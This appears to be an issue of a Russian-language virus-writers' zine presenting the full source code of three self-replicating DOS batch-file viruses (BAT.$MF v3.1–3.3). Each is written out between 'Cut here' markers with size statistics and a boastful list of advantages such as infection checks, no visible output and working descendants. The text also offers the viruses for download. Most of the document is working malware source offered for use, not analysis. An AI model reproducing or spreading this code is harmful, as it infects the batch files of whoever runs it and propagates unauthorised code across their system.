D V L # 2
Семейство вирусов BAT.$MF
(c) by Duke/SMF
Автором всех вирусов этого семейства является Duke/SMF.
Деление вирусов на версии производится по следующему правилу:
v1.x - вирусы со вставками ASM'а или скриптов
v2.x - компаньон вирусы
v3.x - попытки написать самый короткий паразитический вирус,
использование find
v4.x - вирусы-черви
v5.x - паразитические вирусы, использование type
На настоящий момент с семейство входит более 10 вирусов.
********************************************************************
Имя вируса : BAT.$MF v3.1
Дата создания : 06.09.98
Длина вируса : 350 байт (с учетом пустых строк в конце файла,
для "круглой" длины)
===== Cut here =====
@echo off
if "%1=="$MF goto $MFz
echo. >$MF.bat
echo @echo off>>$MF.bat
find "$MF"<%0>>$MF.bat
echo echo on>>$MF.bat
for %%b in (*.bat) do call $MF.bat $MF %%b
del $MF.bat>nul
goto $MFe
:$MFz
if "%2=="autoexec.bat goto $MFe
find "$MF"<%2>nul
if not errorlevel 1 goto $MFe
type $MF.bat>>%2
rem BAT.$MF 3.1 by Duke/$MF
:$MFe
echo on
===== Cut here =====
********************************************************************
Имя вируса : BAT.$MF v3.2
Дата создания : 10.09.98
Длина вируса : 278 байт
Прирост файлов : 282 байт (за счет добавления двух пар #10#13)
===== Cut here =====
@echo off
if "%1=="@ goto $&z
echo.>$&.bat
echo @echo off>>$&.bat
find "$&"<%0>>$&.bat
for %%b in (*.bat) do call $&.bat @ %%b
del $&.bat
goto $&
:$&z [$MF 3.2, Duke/SMF]
if "%2=="autoexec.bat goto $&
find "$&"<%2>nul
if not errorlevel 1 goto $&
type $&.bat>>%2
:$&
===== Cut here =====
********************************************************************
Имя вируса : BAT.$MF v3.3
Дата создания : 07.10.98
Длина вируса : 245 байт
Прирост файлов : 249 байт (за счет добавления двух пар #10#13)
Этот вирус претендует на звание "Самый маленький в мире BAT-вирус,
написанный только на DOS-командах" :)
===== Cut here =====
@echo off %$&%
if "%1=="@ goto $&z
echo.>$&.bat
find "$&"<%0>>$&.bat
for %%b in (*.bat) do call $&.bat @ %%b
del $&.bat
goto $&
:$&z [$MF 3.3,Duke/SMF]
if "%2=="autoexec.bat goto $&
find "$&"<%2>nul
if errorlevel 1 type $&.bat>>%2
:$&
===== Cut here =====
********************************************************************
Преимущества вирусов семейства BAT.SMF v3.x над другими BAT-вирусами:
1. Не содержат вставок на асемблере - только DOS команды!
2. Малая длина вирусов - 350 и 278 байт. Это одни из самых маленьких
BAT-вирусов в мире!
3. Проверка на повторное заражение.
4. Не выдают посторонних надписей на экран.
5. Не оставляют после себя ненужных файлов.
6. Пораженные файлы сохраняют полную работоспособность.
7. Потомки вирусов работоспособны во всех поколениях.
8. Проверяет и не поражает AUTOEXEC.BAT
9. Состоят из одного файла и не требуют инсталляции.
10. В вирусах используются редко встречающиеся метки.
********************************************************************
Общая характеристика вирусов семейства BAT.SMF v3.x :
Неопасные, файловые, паразитические BAT-вирусы. Для размножения используют
команду FIND. Поражают BAT-файлы в текущем каталоге. Поражение производится
в конец файла. Не поражают файл autoexec.bat (по причине не возвращения им
при загрузке системы нулевого параметра командной строки). При отсутствии
утилиты FIND в каталогах PATH перестают корректно работать.
Все представленные вирусы работают по одному алгоритму, уменьшение длины в
новых версиях происходит за счет оптимизации кода, а не в ущерб качеству.
 |
Здесь вы можете скачать: |
Семейство вирусов BAT.$MF v3.1, 3.2, 3.3